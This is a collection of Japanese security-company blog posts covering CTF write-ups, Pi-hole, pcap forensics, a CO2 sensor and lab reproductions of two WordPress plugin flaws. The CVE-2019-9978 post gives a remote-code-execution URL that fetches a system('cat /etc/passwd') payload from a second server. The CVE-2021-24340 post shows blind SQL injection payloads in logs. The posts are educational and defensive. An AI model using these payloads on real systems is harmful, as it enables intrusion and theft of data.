Armoris日記 hkcert-ctf / CTF-Challenges 2020やってみた

このブログは、数年前にN高等学校を卒業し株式会社 Armoris にやってきたアルバイト Kaepi が書いています。

あるもりすぶろぐの内容は個人の意見です。

概要

  • CTFとは?

Capture The Flagの頭文字を取ったもので、旗取りゲームのことです。
サイバーセキュリティの分野では、Flagと呼ばれる文字列をサーバーに侵入して見つけ出したり、渡されたデータを解析して特定する競技のことを指します。

Write Up

目次

  1. 6FA
  2. Look into a photo & JPG as key

6FA

htmlに埋め込まれたjavascriptソースコードからPINを推定する問題
6桁のPINが6個あり、全部一致するとFlagが表示される

github.com

Key

var key = 2 * 72467 * 2;
var keys = (key + String(1 << 23)).split(8);

keyは普通に計算して289868 になる
keysはkeyに1を23ビット左にシフトした数を足して8でsplitした配列になっている
['2', '9', '6','', '3', '', '60', '']

1. PIN1

check1 = p => p == keys.join(keys[3]);    

keysの要素をjoin()でつなげただけなので、console.log(keys.join(keys[3]));とするとPIN1がわかる。
答えは296360となる

2. PIN2

check2 = p => p * 7 + keys[7] == keys[1].repeat(keys[2]);

keysを数字に置き換えてわかりやすくする

check2 = p => p * 7 + '' == 9.repeat(6);

こうするとp = 999999/7にして計算することができる
なので答えは142857

3. PIN3

check3 = p => p ** 3 - p ** 2 + key * p == 3.01781152450557e+16;

keyや指数表記を整数になおしてわかりやすくする

check3 = p => p ** 3 - p ** 2 + 289868 * p == 30178115245055700;

更に数式になおして解く
p^3-p^2+289868p=30178115245055700

  1. 両辺から30178115245055700を引く
    p^3-p^2+289868p-30178115245055700=0
  2. 左辺を因数分解して2個の方程式に分ける
    p-311337=0, p^2+311336p+96930706100=0
  3. 数学的にはまだ解が出ていませんが、p-311337=0からp=311337ということがわかる

なので答えは311337

4. PIN4

check4 = p => Number(p).toString(6 * 6) == "ctf" + keys[4] + keys[5];

keysを数字になおす

check4 = p => Number(p).toString(36) == "ctf" + '3' + ``;

toString()に引数を渡すと他の基数に変換してくれるので、36進数でctf3になる10進数が答えになる
なので答えは597999

5. PIN5

p.split("").reverse().join("") == String(keys[0] ** (keys[0] + keys[0] ** keys[0])).substr(-6);

keysを数字になおす

p.split("").reverse().join("") == String(2 ** (2 + 2 ** 2)).substr(-6);

右辺を計算すると777216になる
左辺ではpを一文字づつ分割してから配列にしてreverse().join()をしているので、右辺を右から読んだ数字になる
答えは612777

6. PIN6

check6 = function(p){
    var x = [];
    for(var i = 2; i <= keys.slice(6).join(6); i++)
        if(!x[i]){
            for(var j = 2 * i; j <= [6, 6].join(6) - keys[6]; j += i)
                x[j] = 1;
            p /= (i % 100 == 10 + 1) ? i : 1;
        }
    return p == 1;
}

読みやすいように整形してみる

check6 = function(p){
    var x = [];
    for(var i = 2; i <= 606; i++){
        if(!x[i])){ // 1
            for(var j = 2 * i; j <= 606; j+=i){
                x[j] = 1; // 2
            }
            if (i % 100 == 11) {  // 3
                console.log(i);
                p /= i;
            } else {
                p /= 1;
            }
        }
    }
    return p == 1; // 4
}

pがわからなくても手に入る情報をまとめる

  1. 606までの素数がif文を通る
  2. 配列xのj番目に1を入れる
  3. iを100で割った余り(剰余)が11だったらp/=i、違ったらp/=1をする。(除算代入)
  4. 入力されたpが3.の式で1になったらtrueを返す

この関数は受け取った数字が何回か割って1になるとtrueを返すので、素因数分解を使っていそうなことがわかる
なので3.のif文を通れる数をconsole.log(i);などで確認して全部かけると答えがわかる

答えは721831

おまけ

ちなみに総当りでも答えはわかる

for (let i = 111111; i < 999999; i++) {
    if (check1(i.toString())) console.log("1: "+i)
    if (check2(i.toString())) console.log("2: "+i)
    if (check3(i.toString())) console.log("3: "+i)
    if (check4(i.toString())) console.log("4: "+i)
    if (check5(i.toString())) console.log("5: "+i)
    if (check6(i.toString())) console.log("6: "+i)
}

JPG as key & Look into a photo

1枚の画像に隠されたFlagを見つける問題

環境

大まかな流れ

画像に情報を埋め込む手段はいくつかあるので、それぞれ試してみる

  • exif情報
    本来の用途は撮影したカメラの情報などを保存しておくための機能
    exiftool xxx.pngなどで確認できる
  • stringsコマンド
    バイナリファイルなどから表示可能な文字列を表示する strings xxx.pngなどで確認できる
  • binwalkコマンド
    埋め込まれているファイルを確認したり取り出す事ができる binwalk xxx.pngなどで確認できる

Look into a hoto

Flagはexiftoolとstrings両方で見つけることができた

Image DescriptionのほうはBase64エンコードされていそうなのでデコードする

┌──(kali㉿kali)-[~/Desktop]
└─$ exiftool q2.jpg
Image Description               : aGtjZXJ0MjB7ZG9jN29yX3MzaWRfbjlfbWVkaTZpbmVfbmU1ZH0=
┌──(kali㉿kali)-[~/Desktop]
└─$ echo 'aGtjZXJ0MjB7ZG9jN29yX3MzaWRfbjlfbWVkaTZpbmVfbmU1ZH0=' > exif.txt
┌──(kali㉿kali)-[~/Desktop]
└─$ base64 -d exif.txt                                                    
hkcert20{doc7or_s3id_n9_medi6ine_ne5d} 

stringsではそのままFlagが出た

┌──(kali㉿kali)-[~/Desktop]
└─$ strings q2.jpg
hkcert20{doc7or_s3id_n9_medi6ine_ne5d}

JPG as key

こちらはexifとstringsではFlagは見つけられなかったのでbinwalkで見てみると、画像内にパスワード付きのzipファイルが埋め込まれていることがbinwalkによってわかった。

┌──(kali㉿kali)-[~/Desktop]
└─$ binwalk left_exit.jpg

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
30            0x1E            TIFF image data, big-endian, offset of first image directory: 8
57895         0xE227          Zip archive data, encrypted at least v2.0 to extract, compressed size: 3007, uncompressed size: 3048, name: flag.png
60940         0xEE0C          Zip archive data, encrypted at least v2.0 to extract, compressed size: 51376, uncompressed size: 51405, name: left_exit.jpg
112544        0x1B7A0         End of Zip archive, footer length: 22

このzipファイルにはダウンロードしてきた画像(left_exit.jpg)と同じものが入っているので、 既知平文攻撃というものが使える
既知平文攻撃とは、暗号化されたファイルの中身の一つと同じものを用意できれば、そのファイルを復号できるというもの

今回はpkcrackというツールを使って復号する

  • インストール
$ wget http://www.unix-ag.uni-kl.de/~conrad/krypto/pkcrack/pkcrack-1.2.2.tar.gz
$ tar xzvf pkcrack-1.2.2.tar.gz
$ cd pkcrack-1.2.2/src
$ make
  • 必要なファイルを用意する
$ binwalk left_exit.jpg --dd='.*
$ binwalk ./left_exit.jpg -o 0 -l 51405 --dd='.*''

一行目では暗号化されたzipを、二行目ではzipが埋め込まれていないleft_exit.jpg単体を取り出している。

2行目で生成されたフォルダーに移動して

$ 7z a left_exit.zip left_exit.jpg

暗号化されていないzipファイルを用意する。

  • パスワード付きのzipを解凍する
pkcrack -C 暗号化されたzip -c left_exit.jpg -P left_exit.zip -p left_exit.jpg -d flag.zip

-C 暗号化されたzip
-c 暗号化されたzip内で平文のわかっているファイル
-P -cで指定したファイルをパスワードなしで圧縮したファイル
-p 平文のファイル
-d 出力先

解凍して得られたflag.pngQRコードになっており、スマホなどで読み込むと hkcert20{n0w_y0u_can_crack_z1p} Flagを見つけることができた。

まとめ

今回はソースコードから機密情報などを抜き出すReverse Enginneringと、ファイルに隠された情報を見つけ出すForensicsの問題を解いてみました。 CTFには他にも暗号を解読するCryptographyや、脆弱性を突いてFlagを入手するExploitationなどさまざまな分野の問題があるので得意な分野の問題を解いてみたり、まだ知らない分野の問題に触れてみると面白いかもしれません。

Armoris日記 Pi-holeで不審なドメインを遮断編

このブログは、数年前にN高等学校を卒業し株式会社 Armoris にやってきたアルバイト Kaepi が書いています。

あるもりすぶろぐの内容は個人の意見です。

概要

今回はPi-holeの導入と設定方法、使い方を紹介しようと思います。
Pi-holeはDNSシンクホール(DNSサーバーの一種)で、不審なドメインを遮断することができます。 DNSシンクホールとは、問い合わせがあったドメインブラックリストに登録されていた場合に、指定したIPアドレス (127.0.0.1など)を返すことで正常に名前解決をできないようにして、本来の通信を阻止するというものです。

Pi-holeを使うメリットは

  • マルウェアなどをホストしている不審なドメインを事前にブラックリストに登録しておくことでセキュリティの向上につながる
  • LAN内にキャッシュサーバーがあることで通信速度が若干早くなる

などがあります。

以下はPi-hole導入時の動作イメージです

f:id:Armoris:20210831140014p:plain
Pi-holeの動作イメージ

環境

f:id:Armoris:20210831123821p:plain

セットアップ

  1. インストールの手順
  2. DNSの設定

インストール

  • docker-pi-holeのインストール
$ git clone https://github.com/pi-hole/docker-pi-hole.git
$ cd docker-pi-hole
$ mv docker-compose.yml.example docker-compose.yml
  • 起動
$ docker-compose up -d
  • パスワードの設定
$ sudo pihole -a -p
  • 管理画面にアクセス
    Pi-holeを起動したサーバーのipをブラウザで開いてログイン
    f:id:Armoris:20210826145557p:plain

DNSの設定(windows)

  • コントロールパネルからネットワークと共有センターを開きます。
  • 画面右側の接続からプロパティを開き、インターネットプロトコル バージョン4(TCP/IPv4)をクリックするとDNSの設定画面が見れます。
    f:id:Armoris:20210826145623p:plain
  • 次のDNSサーバーのアドレスを使うをクリックして先ほど用意したサーバーのIPアドレスを設定します。
    f:id:Armoris:20210826145628p:plain

DNSの設定(iOS)

iOSの設定方法も紹介しておきます。
* 接続しているWiFiの右側にある青いボタンをタップします。

f:id:Armoris:20210826152833p:plain
* 下から2番目のDNSの設定を開きます。
f:id:Armoris:20210826152830p:plain
* Manualを選択して最初からあるIPアドレスを消してPi-holeのIPアドレスを設定します。
f:id:Armoris:20210826152825p:plain

ルーターDNS設定を変更する場合は端末ごとに設定する必要はありません。

ブラックリストの追加

これで設定は完了ですが、最初から用意されているブラックリストではあまり効果がないのでブラックリストの追加をします。

f:id:Armoris:20210826145601p:plain
今回は悪いインターネット様のリストを使わさせていただきました。
左側のメニューのGroup ManagementのAdlistsを開き、Address:に先ほどのサイトからコピーしてきたホストファイルのリンクをペーストします。
追加が終わったら

$ pihole -g

を実行することでリストが更新されます。

まとめ

インストール作業がCLIだったり24時間稼働できるパソコンが必要だったりとちょっとハードルは高いPi-holeですが、各種設定はブラウザからできて機能も豊富なのでとても便利です。
今回はお試しだったのでWindowsのDocker Desktopで動かしましたが、Pi-holeの名前の通りraspberry Piでサーバーを建てておくのを想定されてるっぽいので時間があるときにraspberry Piを買って試してみようとおもいます。

Armoris日記 CVE-2019-9978編

このブログは、数年前にN高等学校を卒業し株式会社 Armoris にやってきたアルバイト Kaepi が書いています。

あるもりすぶろぐの内容は個人の意見です。

CVE-2019-9978の検証

今回は少し古めですがCVE-2019-9978の検証をしていきます。

検証には自身で管理する環境を使用し、自己責任でお願いします

CVE-2019-9978はSocial Warfareという記事にSNSへ共有するためのボタンを追加するWordPressプラグインでRCEが可能になる脆弱性になります。 これを利用することで攻撃者は任意のコマンドをWordPressをホストしているサーバーで実行することができるようになります。

脆弱性情報 : NVD 当該プラグイン : Social Warfare

影響を受けるバージョン : 3.5.2以下

検証環境

検証に使用した環境と各種バージョンは以下のとおりです。

Name Version
UbuntuServer 20.04
WordPress 5.8
Social Warfare 3.5.2

まずはVirtual BoxでUbuntu Serverを2つ用意します。 この時、設定からネットワークのアダプター2のネットワークアダプターを有効化にチェックを入れ、割り当てをホストオンリーアダプターに設定します。

環境構築

WordPress側の構築

  • Apache2のインストール
$ sudo apt install -y apache2
$ sudo cp /etc/apache2/apache2.conf /etc/apache2/apache2.conf.original
$ sudo vim /etc/apache2/apache2.conf

/etc/apache2/apache2.conf

<Directory /var/www/html/wordpress>
        AllowOverride All
</Directory>
  • Apache2を再起動
$ sudo a2enmod rewrite
$ sudo systemctl restart apache2
  • mysqlのインストール
$ sudo apt install -y mysql-server
$ sudo mysql_secure_installation
  • データベースとユーザーの作成
$ mysql -u root -p
mysql> CREATE DATABASE wordpress DEFAULT CHARACTER SET utf8 COLLATE utf8_unicode_ci;
mysql> CREATE USER wp@localhost identified with mysql_native_password by 'password'; 
mysql> grant all on *.* to wp@localhost; 
  • phpのインストール
$ sudo apt install -y php libapache2-mod-php php-mysql
  • WordPressのインストール
    インストール作業は/tmpで行います。
$ wget https://ja.wordpress.org/wordpress-5.8-ja.tar.gz
$ tar -zxvf wordpress-5.7.2-ja.tar.gz
$ mv wordpress /var/www/html/wordpress
$ wget https://downloads.wordpress.org/plugin/social-warfare.3.5.2.zip
$ unzip social-warfare.3.5.2.zip
$ mv social-warfare /var/www/html/wordpress/wp-content/plugins

Apache2側の構築

  • Apache2のインストール
$ sudo apt install -y apache2
  • 対象のサーバーで実行するコマンドを用意する
$ vim /var/www/html/payload.txt 
<pre>system('cat /etc/passwd')</pre>
  • system()の引数に任意の実行したいコマンドを入れる

    検証

    http://ターゲットのwordpressサイト/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://用意したサーバーのIPアドレス/payload.txtにアクセスする。

実行した結果

f:id:Armoris:20210819152606p:plain
CVE-2019-9978

脆弱性の原因

この脆弱性はユーザーから受け取ったデータを何の検査もせずにeval()に渡したことが原因です。

/**
 * Migrates options from $_GET['swp_url'] to the current site.
 *
 * @since 3.4.2
 */
if ( true == SWP_Utility::debug('load_options') ) {
    if (!is_admin()) {
        wp_die('You do not have authorization to view this page.');
    }
 
    $options = file_get_contents($_GET['swp_url'] . '?swp_debug=get_user_options');
$options = str_replace('<pre>', '', $options);
$cutoff = strpos($options, '</pre>');
$options = substr($options, 0, $cutoff);
 
$array = 'return ' . $options . ';';
 
try {
    $fetched_options = eval( $array );
}

phpのeval()は渡された文字列をPHPコードとして実行する関数なので、対策をしないと任意のコードを実行することができるようになってしまいます。

このような攻撃から守るために、プラグインのアップデート情報に注意し、アップデートがある場合は検証などを行った上で、速やかに更新するようにしましょう。

参考 wordfence
PoC github

Armoris日記 May 2021 Forensic Contest編

このブログは、数年前にN高等学校を卒業し株式会社 Armoris にやってきたアルバイト Kaepi が書いています。

あるもりすぶろぐの内容は個人の意見です。

概要

May 2021 Forensic Contestの問題を解いてみる。
Forensic Contestとは毎月発表される問題を最初に正解した人が景品をもらえるコンテストです。
問題の内容はpcapを分析して、悪意のあるメールを開いたことによってマルウェアに感染したWindows PCの情報などを答えるものになっています。

問題は全部で5問あり、以下は各問題文になります。

1. IP address of the infected Windows computer.
2. Host name of the infected Windows computer.
3. User account name on the infected Windows computer.
4. Date and time the infection activity began in UTC (the GMT or Zulu timezone).
5. The family of malware involved.

以下は問題文を日本語訳したものになります。

1. 感染したPCのipアドレス
2. 感染したPCのホストネーム
3. 感染したPCのユーザーアカウントネーム
4. 感染した時間
5. 感染したマルウェアの種類

問題を掲載しているサイト:May 2021 Forensic Contest

環境

今回使用するpcapファイルには実際に感染したwindowsのパケットが含まれているため、分析は仮想環境など隔離された環境で行うこと

アプローチ

問題1

問題1の感染したPCのipアドレスを特定するために以下の手順で分析を行いました。

今回の感染源は悪意のあるメールなので、まずはWiresharkのフィルターにsmtpを設定してメール関係のパケットに絞って確認していきます。
次にメールを受信しているパケットを確認すると、いくつかのメールを172.17.4.20が受け取っていることがわかりました。

f:id:Armoris:20210705125722p:plain
wireshark

問題2-3

次に問題2と3の感染したPCのホストネームとユーザーアカウントネームを特定するために、以下の手順で分析を行いました。

Wiresharkwindowsのホストネームとユーザーアカウントネームを調べる方法については以下のサイトを参考にしました。 - 参考にしたサイト

サイトを参考にkerberos.CNameStringでフィルターするとCNameStringが含まれたパケットが表示されるので、No.104のパケットをKerberos->as-req->req-body->cname->cname-stringの順にツリーを展開して、CNameString を選択して Apply as Column します。 f:id:Armoris:20210705131000p:plain この手順でDESKTOP-V0FEH1L$alfonso.paternosterを確認することができました。
この方法でホストネームを調べると末尾に$が付くので解答する際に消します。

4-5

最後に問題4と5のマルウェアに感染した時刻とそのマルウェアの種類を特定するために、以下の手順で分析を行いました。

Wiresharkマルウェアの情報を調べる方法については以下のサイトを参考にしました。 - 参考にしたサイト

サイトを参考に、Wireshark上部のメニューからFile->Export Objects->HTTPを開くと ひとつだけ怪しいHostnameのところからダウンロードしているのを見つけました。
f:id:Armoris:20210705131857p:plain f:id:Armoris:20210705132147p:plain ファイルの名前で検索をするとHTTP GETでマルウェアをダウンロードしているパケットが見つかるので、このパケットの時刻に感染したことになります。
またこのHostnameをmalwareurlというサイトで検索したところTrojan Qakbotになっていました。
このことから感染したマルウェアの種類はTrojan Qakbotになります。 f:id:Armoris:20210705132822p:plain

感想

全体的に調べれば解き方がわかるような問題が多かったので思った以上に簡単でした。
(外部サービスを使わずにパケットの特徴からマルウェアの種類を調べたりするともう少し勉強になったかもしれない。)

すでに多くのサイトやブログで解答が出ていますが、今回の紹介した方法で出した解答は以下になります。

Armoris日記 CVE-2021-24340編

このブログは、昨年3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

CVE-2021-24340の検証

今回のArmoris日記では2021/05/19に公開されたCVE-2021-24340について簡単な検証を行います。

検証には自身で管理する環境を使用し、自己責任でお願いします

CVE-2021-24340はWP StatisticsというWordPressのサイトアナリティクスを表示するプラグインに存在するブラインドSQLインジェクション脆弱性になります。本来であれば認証が必要なリクエストを攻撃者が認証を必要とせず実行できてしまうことに問題があります。
今回脆弱性が報告されたプラグインは60万件のサイトで導入されています。

ブラインドSQLインジェクションとは

脆弱性情報:Wordfence
該当プラグインWP Statistics

影響を受けるバージョン:WP Statistics < 13.0.8

検証環境

検証用に用意した環境と各種バージョン情報は以下のとおりです。

Name Version
Ubuntu Server 20.04
WordPress 5.7.2
WP Statistics 13.0.7

検証環境作成

まずVagrantを使用してUbuntuServerとWordPressの環境を構築します。

$ cat Vagrantfile 
Vagrant.configure(2) do |config|

config.vm.box = "generic/ubuntu2004"
config.vm.provider "libvirt"
config.vm.network "forwarded_port", guest: 80, host: 6823, host_ip: "172.20.100.120"
end
$ vagrant up

次に仮想環境のIPアドレスを確認してhostファイルを編集後にAnsibleを実行します。

$ vagrant ssh-config
Host default
  HostName 192.168.121.33
  User vagrant
  Port 22
  UserKnownHostsFile /dev/null
  StrictHostKeyChecking no
  PasswordAuthentication no
  IdentityFile /home/ubuntu/CVE-2021-24340/.vagrant/machines/default/libvirt/private_key
  IdentitiesOnly yes
  LogLevel FATAL
$ cat host
[server]
192.168.121.33 ansible_ssh_user=vagrant ansible_ssh_private_key_file=./.vagrant/machines/default/libvirt/private_key ansible_python_interpreter=/usr/bin/python3
$ ansible-playbook -i host wp.yml -v

以下をクリックすると普段私がArmoris日記で検証用に環境構築をする際使用しているymlファイルが表示されます。

WordPressのインストールが完了後プラグインの用意をします。

$ wget https://downloads.wordpress.org/plugin/wp-statistics.13.0.7.zip
$ sudo unzip wp-statistics.13.0.7.zip
$ sudo mv wp-statistics /var/www/wordpress/wp-content/plugins/

プラグインファイルを解凍後にWordPressプラグインフォルダに移動し、ブラウザからサイトにアクセスしてプラグインを有効化します。
プラグインを有効化したら一度WordPressにアクセスし直してデフォルトのページを表示します。こうすることでサイトのアナリティクスデータが作成され、攻撃が可能になります。

PoCの実行

2021/06/09現在いくつかPoCが公開されており、今回は実際にスクリプトを使用してDBのバージョン情報を取得します。

実際に攻撃実行した結果になります。

$ python3 poc.py http://172.20.100.120:6823/wp-admin/admin.php 1
2021-06-09 04:15:32
[*] Params:
        [*] BaseURL: http://172.20.100.120:6823/wp-admin/admin.php
        [*] Timeout: 1
1
10
10.
10.3
10.3.
10.3.2
10.3.29
10.3.29-
10.3.29-M
10.3.29-Ma
10.3.29-Mar
10.3.29-Mari
10.3.29-Maria
10.3.29-MariaD
10.3.29-MariaDB
10.3.29-MariaDB-
10.3.29-MariaDB-0
10.3.29-MariaDB-0u
10.3.29-MariaDB-0ub
10.3.29-MariaDB-0ubu
10.3.29-MariaDB-0ubun
10.3.29-MariaDB-0ubunt
10.3.29-MariaDB-0ubuntu
10.3.29-MariaDB-0ubuntu0
[*] Exfiltrated data: 10.3.29-MariaDB-0ubuntu0
2021-06-09 04:19:45

以下は実際にWordPressで使用しているDBサーバーでバージョン情報を表示した結果になります。

MariaDB [wordpress]> SELECT @@VERSION;
+----------------------------------+
| @@VERSION                        |
+----------------------------------+
| 10.3.29-MariaDB-0ubuntu0.20.04.1 |
+----------------------------------+
1 row in set (0.002 sec)

実際に認証を必要とせずDBサーバーの情報と同じものが取得できることが確認できます。

この時のApacheのログを確認すると以下のようになっています。

192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-admin/admin.php?ID=1+OR+(CASE+WHEN+(select+ASCII((substring((select+version()),22,1)))%3D110)+THEN+SLEEP(1)+ELSE+SLEEP(0)+END)&page=wps_pages_page&type=1 HTTP/1.1" 302 669 "-" "python-requests/2.25.1"
192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-login.php?redirect_to=http%3A%2F%2F172.20.100.120%3A6823%2Fwp-admin%2Fadmin.php%3FID%3D1%2BOR%2B%28CASE%2BWHEN%2B%28select%2BASCII%28%28substring%28%28select%2Bversion%28%29%29%2C22%2C1%29%29%29%253D110%29%2BTHEN%2BSLEEP%281%29%2BELSE%2BSLEEP%280%29%2BEND%29%26page%3Dwps_pages_page%26type%3D1&reauth=1 HTTP/1.1" 200 4855 "-" "python-requests/2.25.1"
192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-admin/admin.php?ID=1+OR+(CASE+WHEN+(select+ASCII((substring((select+version()),22,1)))%3D111)+THEN+SLEEP(1)+ELSE+SLEEP(0)+END)&page=wps_pages_page&type=1 HTTP/1.1" 302 669 "-" "python-requests/2.25.1"
192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-login.php?redirect_to=http%3A%2F%2F172.20.100.120%3A6823%2Fwp-admin%2Fadmin.php%3FID%3D1%2BOR%2B%28CASE%2BWHEN%2B%28select%2BASCII%28%28substring%28%28select%2Bversion%28%29%29%2C22%2C1%29%29%29%253D111%29%2BTHEN%2BSLEEP%281%29%2BELSE%2BSLEEP%280%29%2BEND%29%26page%3Dwps_pages_page%26type%3D1&reauth=1 HTTP/1.1" 200 4853 "-" "python-requests/2.25.1"
192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-admin/admin.php?ID=1+OR+(CASE+WHEN+(select+ASCII((substring((select+version()),22,1)))%3D112)+THEN+SLEEP(1)+ELSE+SLEEP(0)+END)&page=wps_pages_page&type=1 HTTP/1.1" 302 669 "-" "python-requests/2.25.1"
192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-login.php?redirect_to=http%3A%2F%2F172.20.100.120%3A6823%2Fwp-admin%2Fadmin.php%3FID%3D1%2BOR%2B%28CASE%2BWHEN%2B%28select%2BASCII%28%28substring%28%28select%2Bversion%28%29%29%2C22%2C1%29%29%29%253D112%29%2BTHEN%2BSLEEP%281%29%2BELSE%2BSLEEP%280%29%2BEND%29%26page%3Dwps_pages_page%26type%3D1&reauth=1 HTTP/1.1" 200 4855 "-" "python-requests/2.25.1"
192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-admin/admin.php?ID=1+OR+(CASE+WHEN+(select+ASCII((substring((select+version()),22,1)))%3D113)+THEN+SLEEP(1)+ELSE+SLEEP(0)+END)&page=wps_pages_page&type=1 HTTP/1.1" 302 669 "-" "python-requests/2.25.1"
192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-login.php?redirect_to=http%3A%2F%2F172.20.100.120%3A6823%2Fwp-admin%2Fadmin.php%3FID%3D1%2BOR%2B%28CASE%2BWHEN%2B%28select%2BASCII%28%28substring%28%28select%2Bversion%28%29%29%2C22%2C1%29%29%29%253D113%29%2BTHEN%2BSLEEP%281%29%2BELSE%2BSLEEP%280%29%2BEND%29%26page%3Dwps_pages_page%26type%3D1&reauth=1 HTTP/1.1" 200 4855 "-" "python-requests/2.25.1"

非常に特徴的なリクエストが送信されていることがわかります。

まとめ

今回は久しぶりのArmoris日記検証編でした。
取り上げたプラグインではいくつかのSQLインジェクション対策がされていましたが、リクエストの仕方を工夫することで回避できることが発見されています。
実際にこう言った状況が発生した際にすぐに対策を行なったりアップデートを行えるように運用にも気を配る必要があると感じました。

自分が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。

Raspberry Pi と Senseair Sunrise で CO2 濃度計測編

Raspberry Pi と Senseair Sunrise を使って CO2 濃度を測ります

このブログは、N 高等学校と VRChat の世界からやってきた株式会社 Armoris アルバイトの Shadero が書いています。
あるもりすぶろぐの内容は個人の意見です。

なぜ CO2 濃度なのか

厚労省からコロナ対策の一環として、良好な換気状態を示すCO2 濃度の基準値が提示されています。
これを参考に社内でも対策の一環として適切な換気状態の維持を目的として CO2 濃度の計測を行います。

Senseair Sunrise ってなに?

Senseair Sunriseとは2018 年に旭化成のグループ会社になった Senseair 社が開発する CO2 センサーのこと。

今回このセンサーを使用するのは、Winsen 社の MH-Z19 など他の CO2 センサーと比べて消費電力が比較的少ないこと、400 ~ 5000ppm まで CO2 濃度を計測可能で、誤差も ±30ppm で一般的な用途としては十分な計測範囲と精度を持っているためです。

(センサーは Digikey から 6500 円くらいで購入可能です)

環境

Type Name
PC Raspberry Pi 3 Model B+
OS Raspbian 10 buster
CO2 sensor Senseair Sunrise

CO2 センサーを繋ぐ PC は、先日の記事で温度・湿度・気圧をグラフ化した際に使用したラズパイを使用しています。

また、Senseair Sunrise は I2C と UART の 2 つの通信手段で通信が可能ですが、今回は UART を使用して通信を行います。
(UARTはアドレスを意識しなくて済むので少しだけ楽)

シリアル通信を有効にする

早速ラズパイと Senseair Sunrise を繋ぐ…!といきたい所ですが、ラズパイと Senseair Sunrise 間で使用するシリアル通信が、ラズパイのデフォルト設定では無効になっているためraspi-configから有効にします。

  1. $ sudo raspi-config
  2. Interface Options と書かれた項目を選択 f:id:Armoris:20210513164925p:plain
  3. Serial Port と書かれた項目を選択 f:id:Armoris:20210513165139p:plain
  4. シリアル通信経由でシェルにログインするか聞いてくるので No を選択 f:id:Armoris:20210513165331p:plain
  5. シリアル通信を有効にするため Yes を選択 f:id:Armoris:20210513165450p:plain

ラズパイと Senseair Sunrise を繋いでみる

シリアル通信が有効になったら、いよいよラズパイと Senseair Sunrise を繋ぎます。

Senseair Sunrise の統合ガイドを参照して今回は各ピンを以下のように接続しています。

Senseair Sunrise Raspberry Pi 3 Model B+
VDD 3V3Power P17
EN 3V3Power P17
VDDIO 3V3Power P17
DVCC 接続しない
RXD/SDA GPIO 14(TXD) P8
TXD/SCL GPIO 15(RXD) P10
nRDY 接続しない
COMSEL 接続しない
GND Ground P25

CO2 濃度を取得してみる

Senseair Sunrise のデータシートを参照しながら Golang を使って CO2 濃度を取得するコードを書きます。

package main

import (
    "log"
    "time"

    "github.com/tarm/serial"
)

func main() {
    // どのポートを使うのか、どの速度で通信するのか、何ミリ秒でタイムアウトするのかを設定してポートを開く。
    c := &serial.Config{
        Name:        "/dev/serial0",
        Baud:        9600,
        ReadTimeout: time.Millisecond * 180}
    ser, err := serial.OpenPort(c)
    if err != nil {
        log.Fatal(err)
        return
    }
    defer ser.Close()

    // CO2濃度を取得するためのメッセージを用意してセンサーに送信する。
    // (詳細はセンサーのデータシートとModbusプロトコルの仕様を参照してくれると幸いです。)
    co2Read := []byte{0xfe, 0x04, 0x00, 0x03, 0x00, 0x01, 0xd5, 0xc5}
    if _, err = ser.Write(co2Read); err != nil {
        log.Fatal(err)
        return
    }

    // センサーからラズパイ側に値が送られるまで待つ
    time.Sleep(time.Millisecond * 50)

    // センサーから送られてきた値を保存する。
    buf := make([]byte, 128)
    _, err = ser.Read(buf)
    if err != nil {
        log.Fatal(err)
        return
    }

    // センサーから送られてきた値を人間が読めるように変換してログに表示する。
    co2 := (int(buf[3]) << 8) | int(buf[4])
    log.Printf("%vppm\n", co2)
}

  1. Golangのコードをラズパイ向けに設定してビルドします。

    $ GOOS=linux && GOARCH=arm && GOARM=6`
    $ go build ./GetCO2
    

  2. 実行ファイルに実行権限を付与して実行します。

    $ chmod 744 ./GetCO2
    $ ./GetCO2
    

結果

上記のコードをビルドして実行すると CO2 濃度がシェルに表示されます! f:id:Armoris:20210513175721p:plain

やってみて

Senseair Sunrise のデータシートを見ながら動かしていったのですが、筆者の経験不足から「これ動くのかな…。」と思いながらずっと作業していました...。
とりあえずセンサーを壊さずに動かせたのでよかったです!
(画像は Senseair Sunrise をユニバーサル基板の上に配置して動かしたときの画像) f:id:Armoris:20210513184151j:plain

Senseair Sunrise に関する文献が少ないのと、筆者の知識不足が相まって情報に誤りや不足があるかもしれません。お気づきの方はコメントを頂けると幸いです…!

ご覧いただきありがとうございました!

Armoris日記 pcap分析編 その2 ~問題への取り組み方とヒント~

このブログは、N高等学校を卒業して、かぷかぷ笑っている株式会社Armorisのアルバイトkuramubon_8810が書いています。

あるもりすぶろぐの内容は個人の意見です。

やっていくこと

今回は前回のpcap分析編 その1 ~Wiresharkの使い方~に続いて問題を解く際に行うと良い準備や、実際に問題をどのような手順で解いていくかなど、問題への取り組み方やヒントを解説していきます。

ブログ内で使用するもの

問題とツールは前回と同様に下記サイトのものとWiresharkを使用して解説していきます。

解く際に行うと良い事前準備

色付けを使用してどのような通信が行われているか確認

  • 前回説明をした色付けを活用していきます。 f:id:Armoris:20210421144343p:plain f:id:Armoris:20210421144556p:plain
  • 赤枠で囲った部分を見てみると、TCPやHTTPでのやり取りが多いことが確認できます。

    アラートがあれば確認

    パケットには通信に関する情報がすべて記載されているため、膨大な情報量になります。そこで、目的の情報を得るためにアラートを確認すると良い場合があります。
    今回はアラートの中から問題を解くのに必要な情報がないかを確認していきます。

解き方のヒント

一問目

問題文: What is the PUBLIC IP of the infected host? (Hint: One of the alerts says what the malware used to figure this out.)
「感染したホストのPUBLIC IPはなんですか?(ヒント: アラートの一つに、マルウェアがこの情報を把握するために使用した内容が記載されています)」

  • まずは問題文のヒントを参考にアラートを確認します。 f:id:Armoris:20210422190945p:plain
  • アラートを確認するとEvent MessageにExturnal IPと書いてあるアラートがあります。(画像内赤枠)
